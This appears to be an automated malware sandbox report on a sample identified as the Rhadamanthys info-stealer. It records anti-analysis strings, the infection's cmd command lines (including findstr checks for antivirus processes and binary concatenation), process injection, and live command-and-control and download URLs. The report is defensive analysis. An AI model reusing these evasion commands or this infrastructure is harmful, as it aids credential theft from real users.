Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMU
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHAT
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TORUNS.EXEDUMPCAP.EXEDE4P
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE

Source: C:\Users\user\Desktop\deb.exe

API coverage: 1.6 %

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: 4_2_00406301 FindFirstFileW,FindClose,		4_2_00406301
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: 4_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		4_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\542181	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\542181\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: Amcache.hve.24.dr	Binary or memory string: VMware
Source: Amcache.hve.24.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.24.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.24.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.24.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.24.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.24.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.24.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.24.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: deb.exe, 00000000.00000002.2267682167.0000025990A1F000.00000004.00000020.00020000.00000000.sdmp, deb.exe, 00000000.00000002.2267682167.00000259909A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2631366746.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2631476564.0000000002C69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.24.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000012.00000002.2631620318.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: FvMCI
Source: svchost.exe, 00000012.00000002.2631391542.0000000002C41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: deb.exe, 00000000.00000002.2267682167.0000025990A0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Y
Source: Amcache.hve.24.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.24.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.24.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.24.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.24.dr	Binary or memory string: vmci.syshbin`
Source: deb.exe, 00000000.00000002.2267682167.0000025990A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\
Source: Amcache.hve.24.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.24.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000012.00000003.2546587456.0000000004E40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: Amcache.hve.24.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.24.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.24.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.24.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.24.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.24.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.24.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.24.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.24.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.24.dr	Binary or memory string: VMware Virtual RAM
Source: svchost.exe, 00000012.00000003.2546587456.0000000004E40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: Amcache.hve.24.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.24.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com

Process information queried: ProcessInformation

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\Desktop\deb.exe

Code function: 0_2_00007FF70203E5B0 free,IsDebuggerPresent,RaiseException,mbstowcs,malloc,mbstowcs,free,

0_2_00007FF70203E5B0

Source: C:\Users\user\Desktop\deb.exe

Code function: 0_2_00007FF702039AB0 GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

0_2_00007FF702039AB0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 18_3_028D0283 mov eax, dword ptr fs:[00000030h]

18_3_028D0283

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020211B0 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_amsg_exit,	0_2_00007FF7020211B0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70211D668 SetUnhandledExceptionFilter,	0_2_00007FF70211D668
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702039DF9 SetUnhandledExceptionFilter,	0_2_00007FF702039DF9

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\svchost.exe

Network Connect: 5.35.36.120 7957

Source: C:\Users\user\Desktop\deb.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe "C:\Users\user\AppData\Local\Temp\downloaded_exe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Estimates Estimates.cmd & Estimates.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 542181	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "exports" Fleece	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Stewart + ..\Universe + ..\Ferry + ..\Namely + ..\Catholic + ..\Understanding + ..\Invalid + ..\Del + ..\Premier b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\542181\Flux.com Flux.com b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"	Jump to behavior

Source: Flux.com, 0000000E.00000000.2310424124.0000000000953000.00000002.00000001.01000000.00000008.sdmp, Fo.4.dr, Flux.com.5.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Windows\SysWOW64\svchost.exe

Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\deb.exe

Code function: 0_2_00007FF70203B120 GetSystemTimeAsFileTime,

0_2_00007FF70203B120

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Code function: 4_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

4_2_00406831

Source: C:\Windows\SysWOW64\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected RHADAMANTHYS Stealer

Source: svchost.exe, 00000012.00000002.2631500679.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: Amcache.hve.24.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.24.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.24.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.24.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.24.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Source: Yara match	File source: 00000012.00000003.2542694593.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2631620318.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000012.00000003.2542694593.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2631620318.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	112 Process Injection	111 Masquerading	31 Input Capture	1 System Time Discovery	Remote Services	31 Input Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	331 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	112 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	116 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
deb.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\542181\Flux.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Del	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	25%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://ebitm.co.uk/salah/wp-includes/assets/ping.phpTEMP	0%	Avira URL Cloud	safe
https://ebitm.co.uk/t	0%	Avira URL Cloud	safe
https://ebitm.co.uk/d	0%	Avira URL Cloud	safe
https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5x	100%	Avira URL Cloud	malware
https://ebitm.co.uk/salah/wp-includes/assets/ping.phpY	0%	Avira URL Cloud	safe
https://ebitm.co.uk/salah/wp-includes/assets/ping.php:N	0%	Avira URL Cloud	safe
https://ebitm.co.uk/salah/wp-includes/assets/ping.php	0%	Avira URL Cloud	safe
https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5kernelbasentdllkernel32GetProcessMitigatio	100%	Avira URL Cloud	malware
https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ebitm.co.uk	185.199.220.71	true	false		unknown
dVxTXNLGomMFsmfMnuD.dVxTXNLGomMFsmfMnuD	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ebitm.co.uk/salah/wp-includes/assets/ping.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://gcc.gnu.org/bugs/):	deb.exe	false		high
https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5x	svchost.exe, 00000012.00000002.2631091896.000000000089C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ebitm.co.uk/salah/wp-includes/assets/ping.php:N	deb.exe, 00000000.00000002.2267682167.00000259909A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ebitm.co.uk/t	deb.exe, 00000000.00000002.2267682167.0000025990A0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ebitm.co.uk/salah/wp-includes/assets/ping.phpY	deb.exe, 00000000.00000003.2255498764.0000025990A66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cloudflare-dns.com/dns-query	svchost.exe, 00000012.00000003.2563821039.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.24.dr	false		high
http://www.autoitscript.com/autoit3/X	Flux.com, 0000000E.00000000.2310521086.0000000000965000.00000002.00000001.01000000.00000008.sdmp, Fo.4.dr, Flux.com.5.dr	false		high
https://cloudflare-dns.com/dns-queryPOSTContent-TypeContent-LengthHostapplication/dns-message%dMachi	svchost.exe, 00000012.00000003.2563821039.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	downloaded_exe.exe, 00000004.00000000.2260239937.0000000000409000.00000002.00000001.01000000.00000006.sdmp, downloaded_exe.exe, 00000004.00000002.2276313761.0000000000409000.00000002.00000001.01000000.00000006.sdmp, downloaded_exe.exe.0.dr	false		high
https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5kernelbasentdllkernel32GetProcessMitigatio	svchost.exe, 00000012.00000002.2631500679.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000016.00000002.2718992288.000001479FB30000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5	svchost.exe, 00000012.00000002.2631500679.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2631091896.000000000089C000.00000004.00000010.00020000.00000000.sdmp, fontdrvhost.exe, fontdrvhost.exe, 00000016.00000002.2718992288.000001479FB30000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.autoitscript.com/autoit3/	Flux.com.5.dr, Billion.4.dr	false		high
https://ebitm.co.uk/d	deb.exe, 00000000.00000002.2267682167.0000025990A0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ebitm.co.uk/salah/wp-includes/assets/ping.phpTEMP	deb.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.199.220.71	ebitm.co.uk	United Kingdom		12488	KRYSTALGR	false
5.35.36.120	unknown	Russian Federation		31514	INF-NET-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578118
Start date and time:	2024-12-19 09:28:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	deb.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@31/29@2/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 59% Number of executed functions: 37 Number of non-executed functions: 155
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 13.107.246.63, 172.202.163.200, 20.190.147.6
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target svchost.exe, PID 6812 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: deb.exe

Simulations

Behavior and APIs

Time	Type	Description
03:29:19	API Interceptor	1x Sleep call for process: downloaded_exe.exe modified
03:29:23	API Interceptor	1x Sleep call for process: Flux.com modified
03:30:03	API Interceptor	1x Sleep call for process: WerFault.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KRYSTALGR	https://go.skimresources.com/?id=129857X1500501&url=https://www.freelansssssssssssssssscer.com/users/login-quick.php?token=30b3628412ea618dcc3f414b266ae263302b3e1b43e6d2d885225319dabe8e68&url=https://secure.adnxs.com/seg?redir=https://link.sbstck.com/redirect/45834840-3c14-4374-8f51-bbcadebab762?j=eyJ1IjoiNGRnZ2x2In0	Get hash	malicious	HTMLPhisher	Browse	185.199.220.80
	http://www.artisteer.com/?p=affr&redirect_url=https://tdg.site4clientdemo.com/vendor/bin/hereme/43432/6467r/biddept@lakeshorelearning.com	Get hash	malicious	HTMLPhisher	Browse	185.199.220.80
	https://pub-8ffae7e163d64ee9b90d8cfcccbd4d95.r2.dev/autoloadmicrosoft.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	185.199.220.62
	5CxmQXL0LD.exe	Get hash	malicious	SystemBC	Browse	185.199.220.75
	https://garfield-smith-technology-data-lawyers.mailchimpsites.com/manage/preferences?u=c1a66125f053aaa6f385b82e8&id=ac8e522263&e=f9e7e3ef3c&c=e6272aed0a	Get hash	malicious	Unknown	Browse	77.72.1.45
	https://www.aspcp.uk	Get hash	malicious	Unknown	Browse	185.199.220.70
	http://belle-group.at	Get hash	malicious	Unknown	Browse	185.199.220.93
	https://googleweblight.com/i?u=https://hizoom.co.uk/wp-admin/js/hereme/46343/8473r/YXN0cmlkLnd1cnN0ZXJAaWxlZGVmcmFuY2UuZnI=&domain=iledefrance.fr	Get hash	malicious	HTMLPhisher	Browse	185.199.220.80
	https://hizoom.co.uk/wp-admin/js/hereme/46343/8473r/YXN0cmlkLnd1cnN0ZXJAaWxlZGVmcmFuY2UuZnI=	Get hash	malicious	HTMLPhisher	Browse	185.199.220.80
	https://avisfordparkhotel.com/	Get hash	malicious	Unknown	Browse	185.53.58.58
INF-NET-ASRU	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	89.169.180.216
	Space.mpsl.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.ppc.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.arm7.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.i686.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.m68k.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.spc.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.x86_64.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.mips.elf	Get hash	malicious	Mirai	Browse	89.169.4.44
	Space.x86.elf	Get hash	malicious	Mirai	Browse	89.169.4.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	iviewers.dll	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.199.220.71
	script.ps1	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.199.220.71
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	185.199.220.71
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	185.199.220.71
	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.199.220.71
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.199.220.71
	TT copy.js	Get hash	malicious	FormBook	Browse	185.199.220.71
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	185.199.220.71
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	185.199.220.71
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	185.199.220.71

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\542181\Flux.com	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.msi	Get hash	malicious	Vidar	Browse
	69633f.msi	Get hash	malicious	Vidar	Browse
	fm2r286nqT.exe	Get hash	malicious	LummaC	Browse
	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_aa95fc01-8a65-4ed4-b151-ed29dedd147c\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6600287137524228
Encrypted:	false
SSDEEP:	96:OHFrm3e1MqigKJAs3Wrk41yHpHS2QXIDcQkc6tcEycw3ZUtzJzQ+HbHgrZ2ZAX/S:kkZHnAxR0apYKjqzuiF3Z24lO8JO
MD5:	68DA6AA697D6620FA76F4E61B2B049C0
SHA1:	E2EFE3C31B0F6978C42A7821C64B23E87509888C
SHA-256:	BB49A2C8B95BC3625104AE79711CDE0B023E5E152892EF8A9360840C28BA2575
SHA-512:	7424F34125A23B64E41B5898617A5B404FC8EEDDF8BCA0788ACBF1D513EAC1622A7EFEC2C03DA33984C3C5D59E41F4FF969FD97593779C7F4FAB2F2AC6D2BC45
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.0.7.0.5.9.7.9.2.8.6.1.5.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.0.7.0.5.9.8.6.9.4.2.4.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.a.9.5.f.c.0.1.-.8.a.6.5.-.4.e.d.4.-.b.1.5.1.-.e.d.2.9.d.e.d.d.1.4.7.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.b.0.f.f.3.e.-.4.8.1.d.-.4.5.8.d.-.b.e.4.3.-.a.b.7.4.4.4.5.5.f.0.6.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.6.4.-.0.0.0.1.-.0.0.1.5.-.1.0.e.5.-.3.4.2.e.f.0.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.e.f.b.3.f.9.7.3.4.2.b.a.1.9.5.4.2.4.1.3.4.f.2.8.f.9.7.7.d.a.9.e.0.d.6.a.a.9.1.!.f